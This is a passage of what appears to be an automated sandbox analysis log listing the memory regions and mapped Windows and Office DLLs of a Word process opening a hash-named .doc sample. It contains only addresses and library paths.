"c:\\windows\\syswow64\\d3d10_1core.dll") Region: id = 405 start_va = 0x6a850000 end_va = 0x6a87bfff monitored = 0 entry_point = 0x6a8724b0 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\SysWOW64\\d3d10_1.dll" (normalized: "c:\\windows\\syswow64\\d3d10_1.dll") Region: id = 406 start_va = 0x6a880000 end_va = 0x6a997fff monitored = 0 entry_point = 0x6a8840b1 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\msptls.dll") Region: id = 407 start_va = 0x6a9a0000 end_va = 0x6a9e3fff monitored = 0 entry_point = 0x6a9baaf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 408 start_va = 0x6a9f0000 end_va = 0x6a9fefff monitored = 0 entry_point = 0x6a9f2a50 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 409 start_va = 0x6aa00000 end_va = 0x6ad88fff monitored = 0 entry_point = 0x6aa9cc60 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 410 start_va = 0x6ad90000 end_va = 0x6bb41fff monitored = 0 entry_point = 0x6ad91000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 411 start_va = 0x6bb50000 end_va = 0x6bb6cfff monitored = 0 entry_point = 0x6bb57240 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\SysWOW64\\sppc.dll" (normalized: "c:\\windows\\syswow64\\sppc.dll") Region: id = 412 start_va = 0x6bb70000 end_va = 0x6bb8ffff monitored = 0 entry_point = 0x6bb82810 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 413 start_va = 0x6bb90000 end_va = 0x6bb95fff monitored = 0 entry_point = 0x6bb91490 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 414 start_va = 0x6bba0000 end_va = 0x6c137fff monitored = 0 entry_point = 0x6bba1000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 415 start_va = 0x6c140000 end_va = 0x6c854fff monitored = 0 entry_point = 0x6c141000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 416 start_va = 0x6c860000 end_va = 0x6cb61fff monitored = 0 entry_point = 0x6c861000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 417 start_va = 0x6cb70000 end_va = 0x6cd44fff monitored = 0 entry_point = 0x6cb71000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 418 start_va = 0x6cd50000 end_va = 0x6d941fff monitored = 0 entry_point = 0x6cd51000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\oart.dll") Region: id = 419 start_va = 0x6d950000 end_va = 0x6d9bffff monitored = 0 entry_point = 0x6d98ec20 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\SysWOW64\\msvcp140.dll" (normalized: "c:\\windows\\syswow64\\msvcp140.dll") Region: id = 420 start_va = 0x6d9c0000 end_va = 0x6db2afff monitored = 0 entry_point = 0x6da2e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 421 start_va = 0x6db30000 end_va = 0x6f791fff monitored = 0 entry_point = 0x6db31000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\WWLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wwlib.dll") Region: id = 422 start_va = 0x6f7a0000 end_va = 0x6f880fff monitored = 0 entry_point = 0x6f7ce6b0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll") Region: id = 423 start_va = 0x6f890000 end_va = 0x6f8a3fff monitored = 0 entry_point = 0x6f89e290 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\SysWOW64\\vcruntime140.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140.dll") Region: id = 424 start_va = 0x6f8b0000 end_va = 0x6f8dcfff monitored = 0 entry_point = 0x6f8c2b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 425 start_va = 0x6fa40000 end_va = 0x6fb8afff monitored = 0 entry_point = 0x6faa1660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 426 start_va = 0x6fb90000 end_va = 0x6fbc2fff monitored = 0 entry_point = 0x6fba0e70 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 427 start_va = 0x6fce0000 end_va = 0x6fef7fff monitored = 0 entry_point = 0x6fd897b0 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\SysWOW64\\d3d10warp.dll" (normalized: "c:\\windows\\syswow64\\d3d10warp.dll") Region: id = 428 start_va = 0x70620000 end_va = 0x706ecfff monitored = 0 entry_point = 0x706729c0 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll") Region: id = 429 start_va = 0x706f0000 end_va = 0x70796fff monitored = 0 entry_point = 0x70726240 region_type = mapped_file name = "dcomp.dll" filename = "\\Windows\\SysWOW64\\dcomp.dll" (normalized: "c:\\windows\\syswow64\\dcomp.dll") Region: id = 430 start_va = 0x707a0000 end_va = 0x709b9fff monitored = 0 entry_point = 0x70835550 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\SysWOW64\\d3d11.dll" (normalized: "c:\\windows\\syswow64\\d3d11.dll") Region: id = 431 start_va = 0x70a10000 end_va = 0x70a19fff monitored = 0 entry_point = 0x70a13200 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 432 start_va = 0x70ae0000 end_va = 0x70b62fff monitored = 0 entry_point = 0x70b037c0 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\SysWOW64\\dxgi.dll" (normalized: "c:\\windows\\syswow64\\dxgi.dll") Region: id = 433 start_va = 0x70b70000 end_va = 0x70d60fff monitored = 0 entry_point = 0x70c53cd0 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\SysWOW64\\DWrite.dll" (normalized: "c:\\windows\\syswow64\\dwrite.dll") Region: id = 434 start_va = 0x70d70000 end_va = 0x711fdfff monitored = 0 entry_point = 0x710fa320 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\SysWOW64\\d2d1.dll" (normalized: "c:\\windows\\syswow64\\d2d1.dll") Region: id = 435 start_va = 0x713f0000 end_va = 0x7140cfff monitored = 0 entry_point = 0x713f3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 436 start_va = 0x71560000 end_va = 0x7157afff monitored = 0 entry_point = 0x71569050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 437 start_va = 0x72cb0000 end_va = 0x72d24fff monitored = 0 entry_point = 0x72ce9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 438 start_va = 0x72dd0000 end_va = 0x72fdefff monitored = 0 entry_point = 0x72e7b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 439 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 440 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 441 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 442 start_va = 0x73f30000 end_va = 0x73f8efff monitored = 0 entry_point = 0x73f34af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 443 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 444 start_va = 0x74340000 end_va = 0x743c3fff monitored = 0 entry_point = 0x74366220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 445 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 446 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 447 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 448 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 449 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 450 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 451 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 452 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 453 start_va = 0x764e0000 end_va = 0x765fefff monitored = 0 entry_point = 0x76525980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 454 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 455 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 456 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 457 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 458 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 459 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 460 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 461 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 462 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 463 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 464 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 465 start_va = 0x77170000 end_va = 0x771c9fff monitored = 0 entry_point = 0x77197e70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\SysWOW64\\coml2.dll" (normalized: "c:\\windows\\syswow64\\coml2.dll") Region: id = 466 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 467 start_va = 0x7fea0000 end_va = 0x7feaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fea0000" filename = "" Region: id = 468 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 469 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 470 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 471 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 472 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 473 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 474 start_va = 0x717a0000 end_va = 0x7191dfff monitored = 0 entry_point = 0x7181c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 475 start_va = 0x73b80000 end_va = 0x73e4afff monitored = 0 entry_point = 0x73dbc4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 476 start_va = 0x9a0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 477 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 478 start_va = 0xf480000 end_va = 0xf8e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc7d6b5999650a6210f4a8538a2e655doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc7d6b5999650a6210f4a8538a2e655doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc7d6b5999650a6210f4a8538a2e655doc") Region: id = 479 start_va = 0x69650000 end_va = 0x69659fff monitored = 0 entry_point = 0x69652a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wordcnvpxy.cnv") Region: id = 480 start_va = 0x69650000 end_va = 0x69659fff monitored = 0 entry_point = 0x69652a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\wordcnvpxy.cnv") Region: id = 481 start_va = 0x69650000 end_va = 0x6965bfff monitored = 0 entry_point = 0x696528fd region_type = mapped_file name = "recovr32.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\recovr32.cnv") Region: id = 482 start_va = 0x69630000 end_va = 0x6964ffff monitored = 0 entry_point = 0x6963c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 483 start_va = 0x69560000 end_va = 0x69591fff monitored = 0 entry_point = 0x6957c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 484 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 485 start_va = 0x69560000 end_va = 0x6959efff monitored = 0 entry_point = 0x69584c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 486 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 487 start_va = 0x69560000 end_va = 0x69591fff monitored = 0 entry_point = 0x6957c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 488 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 489 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 490 start_va = 0xf480000 end_va = 0xf8e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 491 start_va = 0x69560000 end_va = 0x6959efff monitored = 0 entry_point = 0x69584c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 492 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 493 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 494 start_va = 0xf480000 end_va = 0xf6b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 495 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 496 start_va = 0xf480000 end_va = 0xf8e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 497 start_va = 0x69560000 end_va = 0x69591fff monitored = 0 entry_point = 0x6957c742 region_type = mapped_file name = "wpft532.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft532.cnv") Region: id = 498 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 499 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 500 start_va = 0xf480000 end_va = 0xf8e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 501 start_va = 0x69560000 end_va = 0x6959efff monitored = 0 entry_point = 0x69584c50 region_type = mapped_file name = "wpft632.cnv" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\wpft632.cnv") Region: id = 502 start_va = 0x69540000 end_va = 0x6955ffff monitored = 0 entry_point = 0x6954c7d4 region_type = mapped_file name = "msconv97.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\textconv\\msconv97.dll") Region: id = 503 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 504 start_va = 0xf480000 end_va = 0xf6b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 505 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 506 start_va = 0xf480000 end_va = 0xf8e2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\d297f78ca4fc35e899792260c98f752947f7d6b5999650a6210f4a8538a2e655.doc") Region: id = 507 start_va = 0xf080000 end_va = 0xf47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000f080000" filename = "" Region: id = 508 start_va = 0xf080000 end_va = 0xf87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f080000" filename = "" Region: id = 509 start_va = 0xf880000 end_va = 0xfc53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 510 start_va = 0xfc60000 end_va = 0x1002bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fc60000" filename = "" Region: id = 511 start_va = 0x10030000 end_va = 0x1021efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010030000" filename = "" Region: id = 512 start_va = 0xf880000 end_va = 0xfa63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 513 start_va = 0x9a40000 end_va = 0x9e0afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a40000" filename = "" Region: id = 